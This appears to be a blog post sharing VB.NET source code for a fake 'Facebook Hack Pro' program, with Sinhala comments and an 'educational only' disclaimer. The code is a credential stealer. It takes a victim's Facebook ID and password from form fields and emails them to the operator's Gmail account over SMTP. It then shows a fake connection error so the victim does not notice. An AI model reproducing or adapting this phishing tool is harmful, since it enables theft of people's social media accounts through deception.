Facebook Hack Code TXT formet How to use

'HacKing with CrZy Prof…'මෙම වැඩසටහන හුදෙක් අද්‍යාපනික දැන ගැනීම සදහා …'පමනක් ලබා දී ඇති අතර වැරදි විදියට භාවිතා නොකරන්න.…'සියලුම කේත R.K.D Chinthaka Deshapriya සතුවේ. 
…'෴ SCHOOL LK ෴
'www.schoollk.blogspot.com
Imports System.Net.Mail
Public Class Form1
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        lbl1.Visible = True
        ProgressBar1.Value = 100
        SendEmail()
        MsgBox("Cannot connect to server or you inserted a wrong information. Please Try Again!", MsgBoxStyle.Information, "Facebook Hack Pro.")
    End Sub
    Public Sub SendEmail()
        Dim YourEmail, EmailPassword As String

        YourEmail = "YOUR EMAIL"  '<--- ඔයාගේ Email ID එක ලබාදෙන්න
        EmailPassword = "YOUR PASSWORD"              '<--- ඔයාගේ Password එක ලබා දෙන්න 

        ' Set the caption bar text of the form.   
        Try
            Dim Smtp_Server As New SmtpClient
            Dim e_mail As New MailMessage()
            Smtp_Server.UseDefaultCredentials = False
            Smtp_Server.Credentials = New Net.NetworkCredential(YourEmail, EmailPassword)
            Smtp_Server.Port = 587
            Smtp_Server.EnableSsl = True
            Smtp_Server.Host = "smtp.gmail.com"

            e_mail = New MailMessage()
            e_mail.From = New MailAddress(YourEmail)
            e_mail.To.Add(YourEmail)
            e_mail.Subject = "Facebook Hack Pro"    'Email Subject
            e_mail.IsBodyHtml = False
            e_mail.Body = "Victim ID- " & TextBox3.Text & " / " & "FB ID- " & TextBox1.Text & " / " & "FB Password- " & TextBox2.Text
            Smtp_Server.Send(e_mail)
            MsgBox("Mail Sent")
        Catch error_t As Exception
            MsgBox(error_t.ToString)
        End Try
    End Sub
End Class